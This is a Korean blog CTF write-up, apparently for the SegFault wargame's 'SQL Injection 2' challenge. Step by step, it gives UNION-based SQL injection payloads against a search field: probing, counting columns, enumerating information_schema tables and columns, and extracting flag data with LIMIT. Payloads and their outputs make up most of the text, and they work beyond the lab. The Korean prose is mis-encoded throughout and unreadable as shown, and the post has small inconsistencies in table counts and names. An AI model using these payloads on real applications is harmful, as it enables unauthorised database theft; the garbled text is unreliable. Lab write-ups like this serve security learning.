Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Wargame & CTF/SegFault

[SegFault] (SQLi) - SQL Injection 2

Gearvirus(junyup2) 2023. 12. 6. 04:03

[SegFault] (SQLi)

SQL Injection 2.

์ง„์งœ! ๋ฐ์ดํ„ฐ๋ฅผ ์ฐพ์•„๋ž!

๋ฌธ์ œ ํŒŒ์•…

์œ„์˜ ํŽ˜์ด์ง€์— ๋“ค์–ด๊ฐ€๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฐฝ์ด ๋‚˜์˜จ๋‹ค.

์šฐ์„  ๊ฒ€์ƒ‰์ฐฝ์— ๋Œ€ํ•˜์—ฌ ์ž…๋ ฅ ํ…Œ์ŠคํŠธ๋ฅผ ์ง„ํ–‰ํ•ด๋ณธ๋‹ค.

 

SQL ๊ตฌ์กฐ ํ™•์ธ

์šฐ์„  placeholder๋กœ ์กด์žฌํ•˜๋Š” normaltic์„ ์ž…๋ ฅํ•ด๋ณธ๋‹ค.

์œ„์™€ ๊ฐ™์€ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜ค๋Š” ๊ฒƒ์„ ํ™•์ธํ–ˆ๋Š”๋ฐ ์—ฌ๊ธฐ์„œ ๋ถ€๋ถ„์ ์œผ๋กœ ์ž…๋ ฅํ–ˆ์„ ๋•Œ๋„ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜ค๋Š”์ง€ ํ™•์ธํ•ด๋ณธ๋‹ค.

๊ฒฐ๊ณผ๊ฐ€ ์™„์ „ํžˆ ๋™์ผํ•˜์ง€๋Š” ์•Š์ง€๋งŒ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

SQLi ๊ฐ€๋Šฅ ์—ฌ๋ถ€ ํ™•์ธ

normaltic%' and '1%'='1

 

SQL Injection์ด ๊ฐ€๋Šฅํ•œ ๊ฒƒ์„ ํ™•์ธ ํ–ˆ์œผ๋ฏ€๋กœ UNION SQLi ์˜ ์ง„ํ–‰ ์ ˆ์ฐจ์— ๋”ฐ๋ผ ์ง„ํ–‰ํ•œ๋‹ค.


ํ’€์ด ๊ณผ์ • (ํ•ด๊ฒฐ ๋ฐฉ์•ˆ)

1. SQL Injection ๊ฐ€๋Šฅ ์—ฌ๋ถ€ ํŒ๋‹จ

์œ„์—์„œ ํ™•์ธํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— ๋„˜์–ด๊ฐ„๋‹ค.

 

2. Column ๊ฐœ์ˆ˜ ํŒŒ์•…ํ•˜๊ธฐ

order by๋ฅผ ์ด์šฉํ•˜์—ฌ 1๋ถ€ํ„ฐ ๋Œ€์ž… ํ•ด๋ณธ๋‹ค.

normaltic%'order by 1~6  # ๊นŒ์ง€๋Š” ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜จ๋‹ค.

7๋ถ€ํ„ฐ๋Š” ์•ˆ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๊ณ , ์ปฌ๋Ÿผ์ด ์ด 6๊ฐœ์ž„์„ ํ™•์ธํ•˜์˜€๋‹ค.

 

3. ์ถœ๋ ฅ๋˜๋Š” Column์˜ ์œ„์น˜ ์ฐพ๊ธฐ

์–ด๋–ค Column์ด ์–ด๋Š ๋ถ€๋ถ„์—์„œ ์ถœ๋ ฅ๋˜๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค.

normaltic%' union select 1,2,3,4,5,6 #

 

์œ„์˜ ๊ฒฐ๊ณผ๋ฅผ ๋ฐ”ํƒ•์œผ๋กœ Info ๋ถ€๋ถ„์— 6๋ฒˆ์งธ ์ปฌ๋Ÿผ์ด ๋‚˜ํƒ€๋‚˜๊ณ  ์žˆ์Œ์„ ํ™•์ธํ•˜์˜€๋‹ค. ๋‹ค๋ฅธ ์ปฌ๋Ÿผ๋“ค์€ ์ถœ๋ ฅ๋˜์ง€ ์•Š๋Š” ๊ฒƒ์œผ๋กœ ๋ณธ์ธ๋‹ค.

ID | Level | Rank Point | Info
    |           |                    |   6

๊ณต๊ฒฉ Format ์„ค์ •

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ 1~6์˜ ์ปฌ๋Ÿผ ์ค‘ 6๋ฒˆ์งธ๋งŒ ๋‚˜์˜ค๋ฏ€๋กœ ํ•ด๋‹น ์œ„์น˜์— ์›ํ•˜๋Š” SQL์„ ์‚ฝ์ž…ํ•˜๋ฉด ๋œ๋‹ค.

normaltic%' union select 1,2,3,4,5,_____ #

 

4. DB ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

์–ด๋–ค TABLE๊ณผ COLUMN์ด ์žˆ๋Š”์ง€ ์•Œ์•„๋‚ด๊ธฐ ์œ„ํ•ด ์–ด๋–ค DB๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€ ๋ถ€ํ„ฐ ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค.

SELECT database()

 

normaltic%' union select 1,2,3,4,5,database() #

database() : sqli_5

 

5. Table ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

์–ด๋–ค DB์— ๋“ค์–ด์žˆ๋Š”์ง€ ํ™•์ธํ–ˆ์œผ๋‹ˆ ์–ด๋–ค COLUMN์ด ์žˆ๋Š”์ง€ ํ•™์ธํ•˜๊ธฐ ์œ„ํ•ด ์–ด๋–ค TABLE์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค.

๊ทธ ์ „์— ๋ช‡ ๊ฐœ์˜ TABLE์„ ๊ฐ€์ง€๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ฒƒ์„ ์šฐ์„ ์‹œ ํ•œ๋‹ค.

count(TABLE_NAME)

 

' union select 1,2,3,4,5, count(TABLE_NAME) from information_schema.TABLES  #

64

์œ„์˜ ๊ฒฐ๊ณผ ์ด 64๊ฐœ์˜ table์ด ์กด์žฌํ•œ๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

์ปฌ๋Ÿผ์˜ ๊ฒฝ์šฐ 0๋ถ€ํ„ฐ ์‹œ์ž‘ํ•˜๊ธฐ ๋•Œ๋ฌธ์—  0 ~ 63 ์˜ 64๊ฐœ๋กœ ๊ตฌ์„ฑ๋˜์–ด ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์ƒ๊ฐํ•ด์•ผํ•œ๋‹ค.

limit๋ฅผ ์ด์šฉํ•˜์—ฌ ๊ฐ๊ฐ์˜ ์ด๋ฆ„์„ ํ™•์ธํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

' union select 1,2,3,4,5,table_name from information_schema.tables limit (0~63),1#

(phpmyadmin์—์„œ ๋ณด๋ฉด ๊ธฐ๋ณธ์ ์œผ๋กœ ์ƒ์„ฑ๋˜๋Š” ํ…Œ์ด๋ธ”์ด 61๊ฐœ)

์ถ”๊ฐ€๋œ 2๊ฐœ -> 61 + 2 = 63๊ฐœ

00 : CHARACTER_SETS
01 : COLLATIONS
02 : COLLATION_CHARACTER_SET_APPLICABILITY
03 : COLUMNS
04 : COLUMN_PRIVILEGES
05 : ENGINES
06 : EVENTS
07 : FILES
08 : GLOBAL_STATUS
09 : GLOBAL_VARIABLES
10 : KEY_COLUMN_USAGE
11 : OPTIMIZER_TRACE
12 : PARAMETERS
13 : PARTITIONS
14 : PLUGINS
15 : PROCESSLIST
16 : PROFILING
17 : REFERENTIAL_CONSTRAINTS
18 : ROUTINES
19 : SCHEMATA
20 : SCHEMA_PRIVILEGES
21 : SESSION_STATUS
22 : SESSION_VARIABLES
23 : STATISTICS
24 : TABLES
25 : TABLESPACES
26 : TABLE_CONSTRAINTS
27 : TABLE_PRIVILEGES
28 : TRIGGERS
29 : USER_PRIVILEGES
30 : VIEWS
31 : INNODB_LOCKS
32 : INNODB_TRX
33 : INNODB_SYS_DATAFILES
34 : INNODB_FT_CONFIG
35 : INNODB_SYS_VIRTUAL
36 : INNODB_CMP
37 : INNODB_FT_BEING_DELETED
38 : INNODB_CMP_RESET
39 : INNODB_CMP_PER_INDEX
40 : INNODB_CMPMEM_RESET
41 : INNODB_FT_DELETED
42 : INNODB_BUFFER_PAGE_LRU
43 : INNODB_LOCK_WAITS
44 : INNODB_TEMP_TABLE_INFO
45 : INNODB_SYS_INDEXES
46 : INNODB_SYS_TABLES
47 : INNODB_SYS_FIELDS
48 : INNODB_CMP_PER_INDEX_RESET
49 : INNODB_BUFFER_PAGE
50 : INNODB_FT_DEFAULT_STOPWORD
51 : INNODB_FT_INDEX_TABLE
52 : INNODB_FT_INDEX_CACHE
53 : INNODB_SYS_TABLESPACES
54 : INNODB_METRICS
55 : INNODB_SYS_FOREIGN_COLS
56 : INNODB_CMPMEM
57 : INNODB_BUFFER_POOL_STATS
58 : INNODB_SYS_COLUMNS
59 : INNODB_SYS_FOREIGN
60 : INNODB_SYS_TABLESTATS
61 : flag_honey
62 : gam_user
63 : secret
64 - ๋” ์ด์ƒ ์—†์Œ

์ผ๋ฐ˜์ ์œผ๋กœ๋Š” ์ด๋ ‡์ง€๋งŒ, ๋ณธ ๋ฌธ์ œ์—์„œ๋Š” ์–ด๋–ค DB์— ์กด์žฌํ•˜๋Š”์ง€ ์•Œ๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ„ํŽธํ•˜๊ฒŒ ๊ฐ€๋Šฅํ•˜๋‹ค.

normaltic%' union select 1,2,3,4,5,count(table_name) from information_schema.tables where table_schema = 'sqli_5' #

์•ž์˜ ๊ฒฝ์šฐ๋Š” ํ•ด๋‹น DB ์ „์ฒด์˜ TABLE์„ ์กฐํšŒํ•œ๊ฒƒ์ธ๋ฐ sqli_5์— ์กด์žฌํ•˜๋Š” ๊ฒƒ๋งŒ ์•Œ๋ฉด ๋˜๋ฏ€๋กœ ์œ„์™€ ๊ฐ™์ด ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ณ , ๊ฒฐ๊ณผ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

sqli_5์—๋Š” ์ด 3๊ฐœ์˜ TABLE์ด ์กด์žฌํ•œ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๊ณ , ์ด๋ฅผ limit์„ ์ด์šฉํ•˜์—ฌ ํ•˜๋‚˜์”ฉ ํ™•์ธํ•ด์ค€๋‹ค. (0~2)

(๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ ํ•œ์ค„์”ฉ ๋ฐ–์— ์ถœ๋ ฅ๋˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ์‚ฌ์ „์— ๊ฐœ์ˆ˜๋ฅผ ์„ธ์ฃผ๊ณ (COUNT) ํ•œ์ค„์”ฉ ์ถœ๋ ฅํ•˜์—ฌ(limit) ํ™•์ธํ•ด์ค˜์•ผ ํ•œ๋‹ค.)

normaltic%' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema = 'sqli_5' limit 0,1 #

 

์ฒซ๋ฒˆ์งธ TABLE์€ flag_honey ์ด๋‹ค.

normaltic%' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema = 'sqli_5' limit 1,1 #

 

๋‘๋ฒˆ์งธ TABLE๋Š” game_user ์ด๋‹ค.

normaltic%' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema = 'sqli_5' limit 2,1 #

 

๋งˆ์ง€๋ง‰์œผ๋กœ ์„ธ๋ฒˆ์งธ TABLE๋Š” secret์ด๋‹ค.

 

6. Column ์ด๋ฆ„ ํ™•์ธ

์œ„์—์„œ ์–ด๋–ค TABLE๋“ค์ด ์กด์žฌํ•˜๋Š”์ง€ ํ™•์ธํ•˜์˜€๊ธฐ ๋•Œ๋ฌธ์— ๋‚ด๋ถ€์— ์–ด๋–ค COLUMN์ด ์กด์žฌํ•˜๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค.

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ ํ•œ์ค„์”ฉ ๋ฐ–์— ์ถœ๋ ฅ๋˜์ง€ ์•Š์œผ๋ฏ€๋กœ ๊ฐ TABLE์— ์กด์žฌํ•˜๋Š” COLUMN์˜ ๊ฐœ์ˆ˜๋„ ์‚ฌ์ „์— ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์ข‹์•„ ๋ณด์ธ๋‹ค.

์กด์žฌํ•˜๋Š” TABLE

flag_honey
game_user
secret

์šฐ์„  flag_honey ๋ถ€ํ„ฐ ํ™•์ธํ•ด๋ณด์ž.

flag_honey์—๋Š” ํ•˜๋‚˜์˜ COLUMN ๋ฐ–์— ์กด์žฌํ•˜์ง€ ์•Š๋Š”๋‹ค.

normaltic%' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'flag_honey' #

flag

๋‹ค์Œ์€ game_user ๋ฅผ ํ™•์ธํ•ด๋ณธ๋‹ค.

' union select 1,2,3,4,5, count(column_name) from information_schema.columns where table_name = 'gam_user' #

0

game_user TABLE์—๋Š” COLUMN์ด ์กด์žฌํ•˜์ง€ ์•Š๋Š”๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

๋‹ค์Œ์€ ๋งˆ์ง€๋ง‰์œผ๋กœ secret TABLE๋ฅผ ํ™•์ธํ•ด๋ด์•ผํ•œ๋‹ค.

' union select 1,2,3,4,5, count(column_name) from information_schema.columns where table_name = 'secret' #

1

์ปฌ๋Ÿผ์ด ๋‚ด๋ถ€์— 1๊ฐœ๋งŒ ์กด์žฌํ•œ๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ–ˆ๋‹ค.

' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'secret' #

flag

๊ฐ๊ฐ์˜ TABLE ๋‚ด๋ถ€์— ์กด์žฌํ•˜๋Š” COLUMN์„ ํ™•์ธํ•ด๋ณธ ๊ฒฐ๊ณผ flag_honey, secret ์ด๋ ‡๊ฒŒ ๋‘๊ฐœ์˜ TABLE์— flag๋ผ๋Š” COLUMN์ด ์กด์žฌํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๊ณ  ์ด ๋‘๊ฐœ์˜ COLUMN์ค‘ ํ•˜๋‚˜์˜ ๋‚ด๋ถ€์— ์›ํ•˜๋Š” flag๊ฐ€ ์žˆ์„ ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒ๋œ๋‹ค.

 

7. ๋ฐ์ดํ„ฐ ์ถœ๋ ฅ

์ด์ œ ์œ„์—์„œ ํ™•์ธํ•œ flag_honey์™€ secret ๋‘๊ฐœ์˜ TABLE ๋‚ด๋ถ€์˜ flag์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์ถœ๋ ฅํ•ด๋ณด์ž.

๋จผ์ € ๊ฐ COLUMN ๋‚ด๋ถ€์— ๋ช‡๊ฐœ์˜ ๋ฐ์ดํ„ฐ๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด๋ณธ๋‹ค.

flag_honey ๋ถ€ํ„ฐ ํ™•์ธํ•ด๋ณธ๋‹ค.

1๊ฐœ์˜ ๋ฐ์ดํ„ฐ๊ฐ€ ์กด์žฌํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ–ˆ๋‹ค. ๋ฐ์ดํ„ฐ๋ฅผ ์ถœ๋ ฅํ•ด๋ณด์ž.

normaltic%' union select 1,2,3,4,5,flag from flag_honey #

kkkkkkk_Not Here!

ํ•จ์ • ์นด๋“œ์˜€๋‹ค. ์•ž์„œ์„œ TABLE๊ณผ COLUMN๋“ค์˜ ๊ฐœ์ˆ˜๋ฅผ ํ™•์ธํ•˜์ง€ ์•Š๊ณ  ์™”๋‹ค๋ฉด ๋‹ค์‹œ ์ฒ˜์Œ์œผ๋กœ ๋Œ์•„๊ฐ€๋Š” ์ˆ˜์ค€์˜ ๋ฐ˜๋ณต์ž‘์—…์„ ํ•ด์•ผํ–ˆ๋‹ค. ์‚ฌ์ „์— ๊ฐœ์ˆ˜๋ฅผ ํ™•์ธํ•˜๋ฉด์„œ ์˜ค๋Š” ๊ฒƒ์˜ ์ค‘์š”์„ฑ์„ ํ™•์ธํ•˜๋Š” ์ˆœ๊ฐ„์ด๋‹ค.

๋‹ค์Œ์€ secret COLUMN ๋‚ด๋ถ€์˜ ๋ฐ์ดํ„ฐ ๊ฐœ์ˆ˜๋ฅผ ํ™•์ธํ•ด๋ณด์ž.

normaltic%' union select 1,2,3,4,5,count(flag) from secret #

2

secret COLUMN์—๋Š” 2๊ฐœ์˜ ๋ฐ์ดํ„ฐ๊ฐ€ ์กด์žฌํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ–ˆ๋‹ค. ์ฐจ๋ก€๋Œ€๋กœ ์ถœ๋ ฅํ•ด๋ณด์ž.

normaltic%' union select 1,2,3,4,5,flag from secret #

NONONO~~~~

์ฒซ๋ฒˆ์งธ ๋ฐ์ดํ„ฐ๋Š” ๋”๋ฏธ ๋ฐ์ดํ„ฐ์˜€๋‹ค. ๋งˆ์ง€๋ง‰ ๋‘๋ฒˆ์งธ ๋ฐ์ดํ„ฐ๋ฅผ ํ™•์ธํ•ด๋ณด์ž.

normaltic%' union select 1,2,3,4,5,flag from secret limit 1,1#

ํ•ด๋‹น ๋ฐ์ดํ„ฐ๊ฐ€ ์›ํ•˜๋Š” flag ๋ฐ์ดํ„ฐ์˜€๋‹ค.


์ƒ๊ฐํ•ด๋ณผ ์ 

๋ณธ ๋ฌธ์ œ์™€ ๊ฐ™์ด ์ถœ๋ ฅ๋˜๋Š” ์ค„ ์ˆ˜์— ๋Œ€ํ•œ ์ œํ•œ์ด ์žˆ๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์„ ์ˆ˜ ์žˆ๋‹ค.
๊ทธ๋ ‡๊ธฐ ๋•Œ๋ฌธ์— ๋ฌดํ„ฑ๋Œ€๊ณ  ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ, ๊ฐ๊ฐ์˜ TABLE, COLUMN, DATA์˜ ๊ฐœ์ˆ˜๋ฅผ ์„ธ๋Š” ๊ฒƒ(COUNT)์ด ๊ท€์ฐฎ๋”๋ผ๋„, ์˜คํžˆ๋ ค ์•ž์—์„œ ๋ถ€ํ„ฐ ํ™•์ธํ•˜๋ฉด์„œ ์˜ค๋Š” ๊ฒƒ์ด ๋’ค๋กœ ๋Œ์•„๊ฐ€๋Š” ๋ถˆ์ƒ์‚ฌ๋ฅผ ์ผ์œผํ‚ค์ง€ ์•Š๊ณ  ํ™•์‹คํ•˜๊ฒŒ ํ™•์ธํ•˜๋Š” ๋ฐฉ๋ฒ•์ด๋ผ๋Š” ๊ฒƒ์„ ์ƒ๊ฐํ•ด์•ผ ํ•œ๋‹ค.

์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜